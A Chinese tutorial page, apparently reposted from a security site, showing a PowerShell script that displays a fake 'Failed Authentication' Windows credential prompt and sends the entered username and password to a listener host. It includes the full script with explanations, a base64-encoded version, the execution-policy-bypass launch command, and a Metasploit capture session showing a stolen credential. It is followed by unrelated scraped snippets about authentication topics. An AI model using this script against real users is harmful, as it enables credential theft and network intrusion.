通过powershell实现基础认证钓鱼获得密码

本文来自https://www.secpulse.com/archives/4131.html

$cred = $host.ui.promptforcredential(‘Failed Authentication‘,‘‘,[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, ‘‘);
$result = $wc.downloadstring(‘https://172.16.102.163‘);

分解一下:

$cred = $host.ui.promptforcredential(‘Failed Authentication‘,‘‘,[Environment]::UserName,[Environment]::UserDomainName);

这步告诉windows提示凭证,我们设置的标题是“Failed Authentication”(验证失败),在弹窗里面增加了用户名和域名来提过真实性。当然这一切,都只是辅助。

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};

告诉powershell不要验证SSL证书(允许我们后续使用自签署的证书)

$wc = new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");

创建一个新的webclient对象并设置它的用户代理为Wget。

$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;

告诉powershell使用当前用户可能在使用的任何代理及任何缓存的凭据。

$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, ‘‘);

用户在此基础认证钓鱼中输入的密码就是安全研究人员和黑客们想要的密码,对内网渗透十分有裨益。

$result = $wc.downloadstring(‘https://172.16.102.163‘);

最后发送请求到监听机器上 监听机器上使用metasploit的capture模块

cat power.txt | iconv --to-code UTF-16LE | base64
JABjAHIAZQBkACAAPQAgACQAaABvAHMAdAAuAHUAaQAuAHAAcgBvAG0AcAB0AGYAbwByAGMAcgBlAGQAZQBuAHQAaQBhAGwAKAAnAEYAYQBpAGwAZQBkACAAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACcALAAnACcALABbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBVAHMAZQByAEQAbwBtAGEAaQBuAE4AYQBtAGUAIAArACAAIgBcACIAIAArACAAWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoAVQBzAGUAcgBOAGEAbQBlACwAWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoAVQBzAGUAcgBEAG8AbQBhAGkAbgBOAGEAbQBlACkAOwAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AOwAKACQAdwBjACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsACgAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAVQBzAGUAcgAtAEEAZwBlAG4AdAAiACwAIgBXAGcAZQB0AC8AMQAuADkAKwBjAHYAcwAtAHMAdABhAGIAbABlACAAKABSAGUAZAAgAEgAYQB0ACAAbQBvAGQAaQBmAGkAZQBkACkAIgApADsACgAkAHcAYwAuAFAAcgBvAHgAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEQAZQBmAGEAdQBsAHQAVwBlAGIAUAByAG8AeAB5ADsACgAkAHcAYwAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AE4AZQB0AHcAbwByAGsAQwByAGUAZABlAG4AdABpAGEAbABzADsACgAkAHcAYwAuAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAD0AIABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAcwB5AHMAdABlAG0ALgBuAGUAdAAuAG4AZQB0AHcAbwByAGsAYwByAGUAZABlAG4AdABpAGEAbAAoACQAYwByAGUAZAAuAHUAcwBlAHIAbgBhAG0AZQAsACAAJABjAHIAZQBkAC4AZwBlAHQAbgBlAHQAdwBvAHIAawBjAHIAZQBkAGUAbgB0AGkAYQBsACgAKQAuAHAAYQBzAHMAdwBvAHIAZAAsACAAJwAnACkAOwAKACQAcgBlAHMAdQBsAHQAIAA9ACAAJAB3AGMALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwAxADcAMgAuADEANgAuADEAMAAyAC4AMQA2ADMAJwApADsACgA=

base64一下上述代码

然后执行 powershell -ep bypass -enc <上述加密代码> 你就可以看到十分逼真的基础认证钓鱼窗口:

另外一边使用metasploit接收密码:

[email protected]:~/metasploit-framework# ./msfconsole -Lq
msf > use auxiliary/server/capture/http_basic
msf auxiliary(http_basic) > show options

Module options (auxiliary/server/capture/http_basic):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   REALM        Secure Site      yes       The authentication realm you‘d like to present.
   RedirectURL                   no        The page to redirect users to after they enter basic auth creds
   SRVHOST      0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT      80               yes       The local port to listen on.
   SSL          false            no        Negotiate SSL for incoming connections
   SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion   SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH                       no        The URI to use for this exploit (default is random)

msf auxiliary(http_basic) > set SSL true
SSL => true
msf auxiliary(http_basic) > set SRVPORT 443
SRVPORT => 443
msf auxiliary(http_basic) > set URIPATH /
URIPATH => /
msf auxiliary(http_basic) > run
[*] Auxiliary module execution completed
msf auxiliary(http_basic) >
[*] Listening on 0.0.0.0:443...
[*] Using URL: https://0.0.0.0:443/
[*]  Local IP: https://172.16.102.163:443/
[*] Server started.
[*] 172.16.102.140   http_basic - Sending 401 to client 172.16.102.140
[+] 172.16.102.140 - Credential collected: "SITTINGDUCK\user:ASDqwe123" => /
时间: 2024-10-25 17:37:36

通过powershell实现基础认证钓鱼获得密码的相关文章

C#进阶系列——WebApi 身份认证解决方案:Basic基础认证

前言:最近,讨论到数据库安全的问题,于是就引出了WebApi服务没有加任何验证的问题.也就是说,任何人只要知道了接口的url,都能够模拟http请求去访问我们的服务接口,从而去增删改查数据库,这后果想想都恐怖.经过一番折腾,总算是加上了接口的身份认证,在此记录下,也给需要做身份认证的园友们提供参考. WebApi系列文章 C#进阶系列--WebApi接口测试工具:WebApiTestClient C#进阶系列--WebApi 跨域问题解决方案:CORS C#进阶系列--WebApi身份认证解决方

射频识别技术漫谈(19)——Desfire的3次握手认证和段密码生成

3次握手认证并生成临时的通讯密钥在通讯技术中的应用非常普遍,Mifare Desfire也使用了这种成熟的认证加密方法.Desfire在卡片数据传输前使用DES或3DES进行3次握手认证,认证成功一方面表明卡片和读写器双方是可以相互信任的,同时为双方之后的数据传送提供了一组临时使用的段密码进行加密保护. DES/3DES的基本运算包括加密和解密,Desfir卡片规定,当读写器(PCD)与卡片(PICC)进行DES/3DES运算时,卡片总是进行加密运算,与之对应,读写器总是进行解密运算.DES密钥

IIS Windows身份认证提示输入账号密码

我查了下Windows身份认证提示输入账号密码的根本原因 首先明确一点, 基本身份认证和Windows身份认证是IIS的两种认证方式,在添加角色服务的时候,可以只添加一种或者两个都添加,两者之间没有相互合作的关系 两者的使用背景不同 基本身份认证:使用的是能够登陆服务器的Windows账号(可以是域账号或本地账号),密码传递不安全,通常与SSL连用 Windows身份认证:使用的是域账号,不需要传递密码,但仅限于同一个域内使用 https://msdn.microsoft.com/en-us/l

Oracle OS认证 口令文件 密码丢失处理

Oracle OS认证 口令文件 密码丢失处理 分类: Oracle Basic Knowledge2009-10-19 14:24 5031人阅读 评论(9) 收藏 举报 oracleos数据库sql远程登录login 一.  OS认证 1.1  OS认证介绍 Oracle安装之后默认情况下是启用了OS认证的,这里提到的OS认证是指服务器端OS认证.OS认证的意思把登录数据库的用户和口令校验放在了操作系统一级.如果以安装Oracle时的用户登录OS,那么此时在登录Oracle数据库时不需要任何

关于python基础认证(用于爬虫)

转自http://www.voidspace.org.uk/python/articles/authentication.shtml 先转来,由于是python2的版本之后会翻译文章以及移植到python3 Introduction This tutorial aims to explain and illustrate what basic authentication is, and how to deal with it from Python. You can download the

SpringBoot使用RestTempate基础认证

设置pom引用 <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4

关于AD域在通过LDAP认证登录时密码修改后还可使用旧密码正常登录问题解决方法

最近一直在做一个LDAP的管理认证登录平台,但是发现在Active Directory中修改用户账号密码后,LDAP认证还可以正常通过认证,并登录系统,这是什么原因了? 在查看相关资料后发现,系Active Directory原因造成:那么应该如何解决这个问题了,可以通过修改旧密码的生命周期时间可以解决此问题: 具体原因: ?域用户成功更改密码使用 NTLM 后,旧密码仍然可用于网络访问用户可定义的时间段.此行为允许帐户,如服务帐户,登录到多台计算机来访问网络,而密码更改会传播. ?密码的扩展寿

关于如何快速清除,登陆文件共享,域等时缓存的认证用户名和密码的方法

每次我们用用户名和密码登陆文件共享服务器或登陆域时,经常会碰到没有保存用户名和密码,但是又想快速使用其他用户登录,因为有缓存,导致我们再登陆的时候不会弹出认证对话框,而是直接进去了,这样我们就不能更换认证信息.此时一般的做法,可以重启计算机解决.若是登陆时选择保存了,则要先进控制中心->用户管理->管理凭据->清除掉保存的项. 快速的办法是我的电脑右键->管理->服务里,把workstation service restart,这样就可以不用重启电脑,快速切换了.

【安全牛学习笔记】思路、身份认证方法、密码破解方法、字典

思路 目标系统实施了强安全措施 - 安装了所有补丁 - 无任何已知漏洞 - 无应用层漏洞 - 攻击面最小化 社会工程学 获取目标系统用户身份 - 非授权用户不守信,认证用户可以访问守信资源 - 已有用户账号权限受限,需要提权 - 不会触发系统报警 身份认证方法 证明你是声称你是的那个人 - 你知道什么(账号密码.pin.passphrase) - 你有什么(令牌.token.key.证书.密保.手机) - 你是谁(指纹.视网膜.虹膜.掌纹.声纹.面部识别) - 以上方法结合适用(多因素身份认证)